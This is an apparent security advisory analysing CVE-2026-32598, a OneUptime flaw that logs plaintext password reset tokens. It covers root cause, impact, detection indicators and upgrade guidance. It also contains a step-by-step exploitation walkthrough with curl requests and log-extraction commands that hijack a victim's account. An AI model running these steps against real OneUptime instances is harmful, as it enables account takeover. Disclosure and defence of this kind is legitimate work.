CVE-2026-32598: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32598 is a sensitive information disclosure vulnerability in OneUptime, an open-source monitoring and incident management platform, classified as "Password Reset Token Logged at INFO Level." Prior to version 10.0.24, the password reset flow logs the complete reset URL — including the plaintext reset token — at INFO log level, which is enabled by default in production environments. This affects all OneUptime (npm package) versions before 10.0.24. The vulnerability was published on March 12–13, 2026, and fixed in version 10.0.24. It carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 6.9 (Medium) (GitHub Advisory, OneUptime Advisory).

The root cause is CWE-532 (Insertion of Sensitive Information into Log File). In App/FeatureSet/Identity/API/Authentication.ts (lines 370–371), the application calls logger.info("Reset Password URL: " + tokenVerifyUrl), where tokenVerifyUrl is the full password reset URL containing the plaintext UUID token (e.g., https://app.oneuptime.com/accounts/reset-password/<token>). Because INFO-level logging is enabled by default in production, this token is persisted to stdout, log files, and any configured log aggregation systems. A secondary issue exists at line 909, where the entire login request body — including cleartext passwords — is logged at DEBUG level, which may be enabled during incident troubleshooting. An attacker requires only read access to application logs (Docker logs, Kubernetes pod logs, ELK/Elasticsearch, CloudWatch, Splunk, Grafana Loki, etc.) to exploit this vulnerability (OneUptime Advisory).

Any user or administrator with read access to application logs can extract plaintext password reset tokens and use them to reset the password of any targeted user, resulting in full account takeover. The exposure is systematic — every password reset request generates a logged token, creating a persistent trail of sensitive credentials across all log storage systems. When combined with the differential error responses in the forgot-password endpoint (enabling user enumeration), an attacker can systematically target any user account in the system. Organizations routing OneUptime logs into shared logging infrastructure (e.g., ELK stacks with default credentials) amplify the exposure to all log readers (OneUptime Advisory, GitHub Advisory).

A proof-of-concept (PoC) exploit is publicly available in the GitHub Security Advisory, consisting of concrete curl commands that trigger the forgot-password flow, extract the token from Docker logs, and use it to reset the victim's password — confirmed tested on March 12, 2026 against OneUptime v10.0.23. The EPSS score is approximately 0.014–0.039% (low probability of near-term exploitation), and there is no evidence of active in-the-wild exploitation at this time. The vulnerability is not listed in the CISA KEV catalog. No threat actor attribution has been reported (OneUptime Advisory, GitHub Advisory).

1. Reconnaissance: Identify a target OneUptime instance running version prior to 10.0.24. Confirm the deployment method (Docker Compose, Kubernetes, etc.) and identify any accessible log aggregation endpoints (ELK dashboard, Grafana Loki, CloudWatch, etc.).
2. Trigger password reset: Send a POST request to the forgot-password endpoint for the target user's email address:

curl -s -X POST http://TARGET:8080/api/identity/forgot-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"email": "victim@example.com"}}'

3. Extract reset token from logs: Access application logs via any available method (Docker, Kubernetes, log aggregation UI) and search for the reset URL:

docker compose logs app --tail 5
# Output includes:
# app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef

4. Reset victim's password: Use the extracted token to set a new password for the target account:

curl -s -X POST http://TARGET:8080/api/identity/reset-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"token": "<extracted-token>", "password": "AttackerPassword123!"}}'

5. Account takeover: Log in to the victim's OneUptime account using the newly set password, gaining full access to their monitoring dashboards, incident data, and integrations (OneUptime Advisory).

• Logs: Application logs containing lines matching Reset Password URL: https://app.oneuptime.com/accounts/reset-password/<UUID> at INFO level — presence of these entries confirms the vulnerable code path is active; multiple entries for the same user email in a short timeframe may indicate targeted exploitation.
• Logs: Log entries showing User forgot password: <email> followed immediately by a reset URL for accounts that did not initiate a password reset (indicating attacker-triggered requests).
• Network: Unexpected POST requests to /api/identity/forgot-password for user accounts not initiated by the account owner, particularly from unfamiliar source IPs.
• Network: POST requests to /api/identity/reset-password with valid tokens shortly after a forgot-password request, originating from a different IP than the forgot-password request.
• Application: Successful password resets for users who report not requesting one, indicating token interception and use (OneUptime Advisory).

Upgrade OneUptime to version 10.0.24 or later, which removes the plaintext token from INFO-level log output. As an interim measure, restrict access to application logs and log aggregation systems (ELK, CloudWatch, Splunk, Grafana Loki, Docker/Kubernetes log access) to only authorized personnel. Additionally, rotate credentials for any user accounts that may have had their reset tokens exposed through log access. Organizations should also audit log aggregation configurations to ensure default credentials are not in use on dashboards such as Elasticsearch/Kibana (OneUptime Advisory, GitHub Advisory).

The vulnerability was reported by researcher n0rv-TvT and published by maintainer simlarsen on March 12, 2026. The advisory notes this is distinct from a related vulnerability CVE-2026-30956 (GHSA-r5v6-2599-9g3m), which leaked reset tokens via a multi-tenant header bypass at the database layer — demonstrating a pattern of token handling issues in the project. No significant broader media coverage or notable community commentary beyond the GitHub advisory has been identified (OneUptime Advisory).